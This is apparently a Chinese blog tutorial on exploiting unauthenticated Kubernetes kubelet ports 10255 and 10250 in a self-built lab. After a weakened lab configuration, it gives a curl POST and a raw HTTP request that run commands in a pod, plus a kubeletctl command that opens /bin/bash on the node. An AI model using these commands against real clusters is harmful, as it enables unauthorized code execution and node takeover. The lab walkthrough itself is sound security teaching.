云安全—kubelet 未授权

0x00 前言

未授权一直是一个老生常谈的问题,云安全中也不可避免,本篇介绍kubelet的相关未授权漏洞

0x01 kubelet基础知识

1.主要功能

kubelet 是k8s工作节点上的一个代理组件,主要功能是:

  • k8s进行交互,获取pod相关的数据,监控pod变化的时间
  • kubelet操作当前宿主机的资源信息,启动pod

2.端口

kubelet 会开放4个端口,10250,10255,10248,4194(1.12版本已删除,由10250统一管理)

端口 作用
10250 kubelet与apiserver通信的的端口,定期请求apiserver获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态
10248 判断kubelet是否正常工作
4194 通过此端口可以获取到该节点的环境信息以及node上运行容器状态
10255 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权

3.kubelet模块

在这里插入图片描述

0x02 10255 端口未授权

1.环境搭建

修改/var/lib/kubelet/config.yaml,新增如下内容,在最后一行加就行:

readOnlyPort: 10255
address: 0.0.0.0

在这里插入图片描述
重启一下即可

systemctl restart kubelet

2.利用

10255 只读端口,仅涉及到信息泄露问题。
在这里插入图片描述泄露信息包括节点信息,以及namespace
在这里插入图片描述启动配置
在这里插入图片描述

0x03 10250 未授权访问

1.环境搭建

修改/var/lib/kubelet/config.yaml,将anonymous修改为true

然后将认证从Webhook改为 AlwaysAllow

在这里插入图片描述

重启一下即可

systemctl restart kubelet

2.利用

首先直接访问 https://192.168.247.156:10250/runningpods/ 这里需要注意的是https

在这里插入图片描述

2.1 命令执行

curl -XPOST -k "https://192.168.247.156:10250/run/kube-system/kube-proxy-flbc8/kube-proxy" -d "cmd=whoami"

首先是namespace/podname/containers

直接burp也行:

POST /run/kube-system/kube-proxy-flbc8/kube-proxy HTTP/1.1
Host: 192.168.247.156:10250
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

cmd=id

在这里插入图片描述

2.3 获取服务器权限

https://github.com/cyberark/kubeletctl

这个工具还是有那么好用

可以通过kubeletctl.exe --server 192.168.247.156 -p kube-flannel-ds-jndfl -c kube-flannel -n kube-flannel exec "/bin/bash"获取node权限
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_36869808/article/details/130064037